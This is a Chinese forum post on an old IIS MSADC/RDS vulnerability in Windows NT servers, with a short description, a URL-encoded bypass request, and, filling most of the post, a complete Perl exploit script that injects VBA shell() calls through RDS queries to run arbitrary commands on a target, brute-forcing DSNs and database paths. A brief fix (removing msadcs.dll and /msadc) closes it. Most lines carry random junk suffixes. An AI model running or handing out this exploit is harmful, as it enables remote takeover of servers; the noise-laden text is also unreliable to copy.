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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) w9MoT.kI}  
J/ vK6cO\  
涉及程序: cMaOM}mS  
Microsoft NT server TN\|fzj  
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描述: ziiwxx_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Zyu/|O g  
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详细: +>SRrIi  
如果你没有时间读详细内容的话,就删除: Q,gLi\siI  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2s\BY%XY  
有关的安全问题就没有了。 \9/RAY_G  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Od##U6e`  
i7w(S3a  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 I-kWS 4  
关于利用ODBC远程漏洞的描述,请参看: uR$i48}  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _[t8rl  
z=g$Exl  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 F'FP0t!S  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp T]9m:z X9s  
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这里不再论述。 rzUlO5?R=  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: XKS8K4"  
cj$d=k~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |gx ~ gG<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [M%._u,  
@1:0h9%  
3I  $>uR  
#将下面这段保存为txt文件,然后: "perl -x 文件名" SwW['c'*]B  
oyvKa g  
#!perl $n!K6fkX%  
# +?dl`!rE  
# MSADC/RDS 'usage' (aka exploit) script te,[f  
# Nd@~>&F  
# by rain.forest.puppy z~{&}Em ~  
# h@ )  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ba'LRz  
# beta test and find errors! Ii &7rdoxe  
k[kju%i4  
use Socket; use Getopt::Std; !.TLW  
getopts("e:vd:h:XR", \%args); ?LK 2g  
IzLQhDJ1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; i'#Gy,R  
{d<;BLA  
if (!defined $args{h} && !defined $args{R}) { yuhnYR\`m  
print qq~ N?P%-/7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $?P22"/p  
-h <host> = host you want to scan (ip or domain) $I9qgDJ)  
-d <seconds> = delay between calls, default 1 second 7U|mu~$.!  
-X = dump Index Server path table, if available p-SJ6Gg 9  
-v = verbose x[ 3A+  
-e = external dictionary file for step 5 VQ#3#Hj  
F4L;BjnJ  
Or a -R will resume a command session BV#78,8(  
Z\}K{#   
~; exit;} TuDE@ gq(  
({WyDu&=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Bun> <Y @  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} k%]=!5F  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ',^+bgs5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); !> }.~[M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} #~O b)q|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <FI-zca  
xg_D f,  
if (!defined $args{R}){ $ret = &has_msadc; sZGj"_-Hzu  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} rgmF:C  
9d[5{" 2j  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  ,Uhb  
. "cmd /c "; )B,|@ynu  
$in=<STDIN>; chomp $in; /zDi9W*~1  
$command="cmd /c " . $in ; G)v #+4  
:+Om]#`Vls  
if (defined $args{R}) {&load; exit;} sm[94,26  
2_vbT!_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; |waIpB(  
&try_btcustmr; : G\<y  
a<}#HfC;'  
print "\nStep 2: Trying to make our own DSN..."; )9l^O  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; JR CrZW}  
WOuEWw=  
print "\nStep 3: Trying known DSNs..."; W @|6nPm  
&known_dsn; iu&wO<)+?  
A+hT3;lp  
print "\nStep 4: Trying known .mdbs..."; nWQ;9_qBB  
&known_mdb; E|'h]NY  
#Zrlp.M4  
if (defined $args{e}){ /|6;Z}2  
print "\nStep 5: Trying dictionary of DSN names..."; 4jD2FFG- G  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } "HE^v_p  
5onm]V]  
print "Sorry Charley...maybe next time?\n"; aaD;jxT&M|  
exit; B,,D7cQC  
.tD*2  
############################################################################## 23 ~ Sjr  
^%O]P`$  
sub sendraw { # ripped and modded from whisker )iFJz/n>  
sleep($delay); # it's a DoS on the server! At least on mine... 4:gRr   
my ($pstr)=@_; =s<( P1|"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gz3pX#S  
die("Socket problems\n"); s%<eD  
if(connect(S,pack "SnA4x8",2,80,$target)){ M(/r%-D  
select(S); $|=1; ^o7;c[E`  
print $pstr; my @in=<S>; 9k{PBAP  
select(STDOUT); close(S); :9k Ty:  
return @in; yn#X;ja-  
} else { die("Can't connect...\n"); }} uu`G 2[t  
)ZN|t?|  
############################################################################## pR~U`r5z  
B ~OZ2-~  
sub make_header { # make the HTTP request _4g.j  
my $msadc=<<EOT '3uVkp 6tF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ght$9>'n  
User-Agent: ACTIVEDATA eH{[C*  
Host: $ip (DI>5.x"  
Content-Length: $clen c"[cNZo  
Connection: Keep-Alive MdW]MW{  
p|!  
ADCClientVersion:01.06 9Q"'" b*?z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 r(P(Rj2~  
EVGt 5z  
--!ADM!ROX!YOUR!WORLD! >rf'-X4n  
Content-Type: application/x-varg Y=Kc'x[,Zj  
Content-Length: $reqlen Oeok ;:  
Ftr5k^!  
EOT pS:4CNI{  
; $msadc=~s/\n/\r\n/g; 9g mW&{6q  
return $msadc;} #?S^kM-0  
K57&yVX  
############################################################################## t;}:waZD  
]iUx p+  
sub make_req { # make the RDS request 3qf Ym}d  
my ($switch, $p1, $p2)=@_; OOo3G~2r  
my $req=""; my $t1, $t2, $query, $dsn; ~Yy>zUH^X  
Y/*mUS[oa  
if ($switch==1){ # this is the btcustmr.mdb query Ys\Wj%6A  
$query="Select * from Customers where City=" . make_shell(); WHj'dodS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  B\o Mn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} W>j!Q^?  
E4M@WNPx  
elsif ($switch==2){ # this is general make table query )84~ugs  
$query="create table AZZ (B int, C varchar(10))"; o%IA}e7PAa  
$dsn="$p1";} 6;ixa hZV  
: qd`zG3  
elsif ($switch==3){ # this is general exploit table query 'ZDp5pCC;  
$query="select * from AZZ where C=" . make_shell(); ,Vt/(x-  
$dsn="$p1";} G?Q3/y(  
?B2] -+Y  
elsif ($switch==4){ # attempt to hork file info from index server e?8HgiP-  
$query="select path from scope()"; 7+\+DujE$  
$dsn="Provider=MSIDXS;";} hHV";bk  
OC BgR4I  
elsif ($switch==5){ # bad query CEX " D`  
$query="select"; |#]@Z)xa  
$dsn="$p1";} BRgXr  
qVH1}9_  
$t1= make_unicode($query); Ab{ K<:l  
$t2= make_unicode($dsn); (>nGQS]H  
$req = "\x02\x00\x03\x00"; b4[bL2J$h1  
$req.= "\x08\x00" . pack ("S1", length($t1)); Vf] "L .G  
$req.= "\x00\x00" . $t1 ; old(i:2  
$req.= "\x08\x00" . pack ("S1", length($t2)); xMTKf+7  
$req.= "\x00\x00" . $t2 ; Vl& ?U  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {zQ8)$CQ  
return $req;} VY |_d k  
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############################################################################## (nf~x  
F8jd'OR  
sub make_shell { # this makes the shell() statement %A1o.{H  
return "'|shell(\"$command\")|'";} |}BL F  
RtTJ5@V(  
############################################################################## gG<~-8uQ  
a&/#X9/  
sub make_unicode { # quick little function to convert to unicode 4|riKo)  
my ($in)=@_; my $out; <m)$K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;z}i-cNae  
return $out;} HK,cJah q  
^o3"#r{:+  
############################################################################## m% -g~q  
>3_jWFq  
sub rdo_success { # checks for RDO return success (this is kludge) a, k'Vk{  
my (@in) = @_; my $base=content_start(@in); e:fy#,HEj{  
if($in[$base]=~/multipart\/mixed/){ 2Rw&C6("w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *W,]>v0%T  
return 0;} ?Y-%'J(  
#5cEV'm;  
############################################################################## xjfV?B'Y}V  
iU$] {c2;A  
sub make_dsn { # this makes a DSN for us DS+}UO  
my @drives=("c","d","e","f"); H?<N.Dq  
print "\nMaking DSN: "; n0r+A^]  
foreach $drive (@drives) { C7lH]`W|/  
print "$drive: "; PF)jdcX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [I '0,y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Jj!vh{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qLn/2  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1C}NQ!.  
return 0 if $2 eq "404"; # not found/doesn't exist 1O/+8yw  
if($2 eq "200") { ^U `[(kz=  
foreach $line (@results) { nzd2zY>V  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} R Q vft  
} return 0;} _ky,;9G]  
Oft-w)cYz,  
############################################################################## LLk(l#K*  
4 !i$4  
sub verify_exists { 7S '% E  
my ($page)=@_; zL$@`Eh-KP  
my @results=sendraw("GET $page HTTP/1.0\n\n"); /Y9>8XSc  
return $results[0];} 0Vlk;fIh  
"'c A2~  
############################################################################## C7rNV0.Fq  
QQ%D8$k"  
sub try_btcustmr { ',Y.v"']4  
my @drives=("c","d","e","f"); mw_~*Nc'9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); WKC.$[ T=  
l)G^cSHF.3  
foreach $dir (@dirs) { Z,sv9{4r  
print "$dir -> "; # fun status so you can see progress 3.|S  
foreach $drive (@drives) { 13=A  
print "$drive: "; # ditto X &uTSgN  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; p`b"-[93  
$reqlenlen=length( "$reqlen" ); "fG8?)d;  
$clen= 206 + $reqlenlen + $reqlen; C"6?bg5N  
-=%@L&y1  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x.7]/)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} r[2ILe  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} I;e=0!9U  
.:@Ykdm4I  
############################################################################## f$+,HB  
kh {p%<r{  
sub odbc_error { d;zai]]  
my (@in)=@_; my $base; 1,6}_MA  
my $base = content_start(@in); ^Y=\#-Dd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this A0o-:n Fu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T ? $:'XJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2Z-ljD&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0xxg|;h.,g  
return $in[$base+4].$in[$base+5].$in[$base+6];} k`So -e-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; n!NS(. o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . h}*/Ge]aM  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} MLoYnR^  
w1hPc!I  
############################################################################## wfNk=)^$  
k,85Y$`'  
sub verbose { mtJ9nC  
my ($in)=@_; + ,%&e  
return if !$verbose; Q9~*<I> h;  
print STDOUT "\n$in\n";} 1$D_6U:H0  
W ?qmp|YD  
############################################################################## [h^2Y&Au5  
GR +[UG  
sub save { &:/hrighH  
my ($p1, $p2, $p3, $p4)=@_; aNScF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; tasIDoo+!J  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?\vh9  
close OUT;} '9S8}q  
!zkZQ2{Wn  
############################################################################## '_GrD>P)-  
: ]sUpO  
sub load { **$LR<L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; n2]/v{E;/  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); A;*d}Xe&J  
@p=<IN>; close(IN); PMN jn9d  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); qT%FmX  
$target= inet_aton($ip) || die("inet_aton problems"); .ni_p 6!  
print "Resuming to $ip ..."; T?x[C4wf+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; qHuZcht  
if($p[1]==1) { %e-7ubW  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; P* w9 ,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 7[> 6i  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |2RC#]/-Y  
if (rdo_success(@results)){print "Success!\n";} ~rDZ?~%  
else { print "failed\n"; verbose(odbc_error(@results));}} r~/   
elsif ($p[1]==3){ EH256f(&  
if(run_query("$p[3]")){ g'H$R~ag  
print "Success!\n";} else { print "failed\n"; }} d{SG Cr 9d  
elsif ($p[1]==4){ fDT%!  
if(run_query($drvst . "$p[3]")){ pimtiQqC  
print "Success!\n"; } else { print "failed\n"; }} oXb;w@:  
exit;} b6U2GDm\s  
_CmOd-y  
############################################################################## qv]}$WU  
4x  
sub create_table { E~]R2!9  
my ($in)=@_; )/pU.Z/  
$reqlen=length( make_req(2,$in,"") ) - 28; zG ^$"f2  
$reqlenlen=length( "$reqlen" ); 43mP]*=A  
$clen= 206 + $reqlenlen + $reqlen; )TVFtI=,NN  
my @results=sendraw(make_header() . make_req(2,$in,"")); `8AR_7i  
return 1 if rdo_success(@results); d/BM&r  
my $temp= odbc_error(@results); verbose($temp); :c8&N-`  
return 1 if $temp=~/Table 'AZZ' already exists/; *M:B\ D  
return 0;} M_"L9^^>N  
U.DDaT1  
############################################################################## \6R,Nq  
9QDFEYG  
sub known_dsn { Xs~[&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go <eQj`HL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", x4E7X_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", a0D%k:k5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); syaPpM Q-  
=<?+#-;p  
foreach $dSn (@dsns) { v^#~98g]  
print "."; Dp)=0<$y  
next if (!is_access("DSN=$dSn")); qU#1i:(F*  
if(create_table("DSN=$dSn")){ A-ZN F4  
print "$dSn successful\n"; .(^ ,z&  
if(run_query("DSN=$dSn")){ S/9DtXQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yXHUJgjl/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (NF~Ck$#q  
]Q>.HH  
############################################################################## 4\Tl\SZ?  
X*{2[+<o  
sub is_access { nlW +.a[  
my ($in)=@_; _V7r1fY:  
$reqlen=length( make_req(5,$in,"") ) - 28; {bJ`~b9e  
$reqlenlen=length( "$reqlen" ); 6)Y.7XR  
$clen= 206 + $reqlenlen + $reqlen; >zXsNeGQR  
my @results=sendraw(make_header() . make_req(5,$in,"")); `HZ;NRr  
my $temp= odbc_error(@results); f;W|\z'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); FVaQEMZ^  
return 0;} y:~ZLTAv  
PH+S};Uxv  
############################################################################## g^}8:,F_  
}]lr>"~y}  
sub run_query { @ycDCB(D}  
my ($in)=@_; B?'#4J  
$reqlen=length( make_req(3,$in,"") ) - 28; Kx;eaz:gx  
$reqlenlen=length( "$reqlen" ); Y]/% t{Y  
$clen= 206 + $reqlenlen + $reqlen; +n{#V;J  
my @results=sendraw(make_header() . make_req(3,$in,"")); W-?()dX{  
return 1 if rdo_success(@results); -f%'  
my $temp= odbc_error(@results); verbose($temp); x{n`^;Y1  
return 0;} 925|bX6I  
n1ly y0%u  
############################################################################## !cO]<CWPq  
]:Ns f|C0  
sub known_mdb { gMWjk7  
my @drives=("c","d","e","f","g"); GO` Ru 8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lku[dQdk  
my $dir, $drive, $mdb; wt!nMQ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; S|7!{}  
62 k^KO6Y  
# this is sparse, because I don't know of many 8<8:+M}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", "B3N* R(["  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5,_u/5Y4  
"\\system32\\certmdb.mdb", m1B+31'>^  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% d1AioQ9  
o0ifp=V y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r+":'/[x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 6kpg+{;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Z>)Bp /-  
"\\cfusion\\cfapps\\security\\realm_.mdb", Y9uC&/_C  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Fl kcU `j  
"\\cfusion\\database\\cfexamples.mdb", $8 UUzk  
"\\cfusion\\database\\cfsnippets.mdb", Cs9.&Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", V@zg}C|e  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^(vs.U^U<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 'p> Ra/4  
"\\cfusion\\database\\smpolicy.mdb", 7"sD5N/>uh  
"\\cfusion\\database\cypress.mdb", DI:]GED" =  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Si8pzd  
"\\website\\cgi-win\\dbsample.mdb", '*5i)^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xF;kT BRi  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" gp>3I!bo[K  
); #these are just C-Q28lD}f  
foreach $drive (@drives) { ad*m%9Y1Q  
foreach $dir (@dirs){ JMrEFk  
foreach $mdb (@sysmdbs) { yE:+Lo`>  
print "."; Y$Z x,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ )bS yB29S  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >/l? g5{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2oVSn"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /N=b\-]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jrr EAp  
F*IzQ(#HW  
foreach $drive (@drives) { y0sR6TY)f  
foreach $mdb (@mdbs) { #M9~L[nF S  
print "."; $"+djI?E9  
if(create_table($drv . $drive . $dir . $mdb)){ 't:; irLW.  
print "\n" . $drive . $dir . $mdb . " successful\n"; IpYM;tYw&  
if(run_query($drv . $drive . $dir . $mdb)){ >_[ 9t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Bt@^+vH ~  
} else { print "Something's borked. Use verbose next time\n"; }}}} wPQH(~k:  
} EMY/~bQW  
4ezEW|S  
############################################################################## Cn,d?H  
Hx"ob_^'7  
sub hork_idx { )eUh=eW  
print "\nAttempting to dump Index Server tables...\n"; cqQ#p2<%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; kZR8a(4D  
$reqlen=length( make_req(4,"","") ) - 28; Q_"]+i]s@  
$reqlenlen=length( "$reqlen" ); aOlT;h  
$clen= 206 + $reqlenlen + $reqlen; \H1( PA  
my @results=sendraw2(make_header() . make_req(4,"","")); {m4b(t`xw  
if (rdo_success(@results)){ , ]bhyp  
my $max=@results; my $c; my %d; JZ)RGSG i  
for($c=19; $c<$max; $c++){ MI/MhkS ?  
$results[$c]=~s/\x00//g; 00(on28b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >")Tf6zw&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ,)0H3t  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /5S30 |K  
$d{"$1$2"}="";} (up~[  
foreach $c (keys %d){ print "$c\n"; } e%svrJ2   
} else {print "Index server doesn't seem to be installed.\n"; }} e^8 O_VB  
nEJq_  
############################################################################## <^VJy5>  
?M8dP%&r  
sub dsn_dict { 6Y^23W F  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &-;4.op  
while(<IN>){ WJQvB=D&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ND'E8Ke pq  
next if (!is_access("DSN=$dSn")); g2BHHL;`  
if(create_table("DSN=$dSn")){ C^O VB-  
print "$dSn successful\n"; Zq^At+8+  
if(run_query("DSN=$dSn")){ [A~y%bI"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { QX!-B  
print "Something's borked. Use verbose next time\n";}}} @3) (BpFe  
print "\n"; close(IN);} pV9IHs}  
. k#U]M  
############################################################################## M||+qd W!  
1#C4;3i,  
sub sendraw2 { # ripped and modded from whisker +NeOSQSj  
sleep($delay); # it's a DoS on the server! At least on mine... ),0g~'I~D  
my ($pstr)=@_; %P<hW+P!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ? E1<!~  
die("Socket problems\n"); L9r8BK;  
if(connect(S,pack "SnA4x8",2,80,$target)){ )P%ZA)l%_o  
print "Connected. Getting data"; Nkjza:f{  
open(OUT,">raw.out"); my @in;  ]3x?  
select(S); $|=1; print $pstr; QiQ_bB!\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} c?tBi9'Y]  
close(OUT); select(STDOUT); close(S); return @in; sQ=]NF)\  
} else { die("Can't connect...\n"); }} U\ ig:  
2V"B:X\  
############################################################################## oL!EYbFD'Z  
?h3Y)5xT  
sub content_start { # this will take in the server headers zvvhFN2s  
my (@in)=@_; my $c; GOj-)i/_  
for ($c=1;$c<500;$c++) {  '<jyw   
if($in[$c] =~/^\x0d\x0a/){ &T+atL`N  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7TgOK   
else { return $c+1; }}} "fQ~uzg="  
return -1;} # it should never get here actually VEH&&@d  
{}>0e:51  
############################################################################## X@'u y<tI-  
+M./@U*g  
sub funky { spGb!Y`mR  
my (@in)=@_; my $error=odbc_error(@in); 1A?W:'N  
if($error=~/ADO could not find the specified provider/){ [^R^8k  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :iK(JE`   
exit;} e{h<g>7  
if($error=~/A Handler is required/){ m.JBOq=  
print "\nServer has custom handler filters (they most likely are patched)\n"; zbXI%  
exit;} |Z|-q"Rf  
if($error=~/specified Handler has denied Access/){ %r<rcY  
print "\nServer has custom handler filters (they most likely are patched)\n"; xj<Rp|7&  
exit;}} S(o#K|)>  
S$f9m  
############################################################################## }HL]yDO  
jk"`Z<j~  
sub has_msadc { l3KVW5-!gS  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); wc0jhHZO ?  
my $base=content_start(@results); $CxKuB(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); }wWKFX  
return 0;} &Q9qq~  
:lX!\(E2  
######################## 00<cYy  
Bt[/0>i  
.0p0_f=  
解决方案: )) Zf|86N  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll w:??h4lt  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F^l[GdUosK  
ImCe K  
拿出来充数 哈哈
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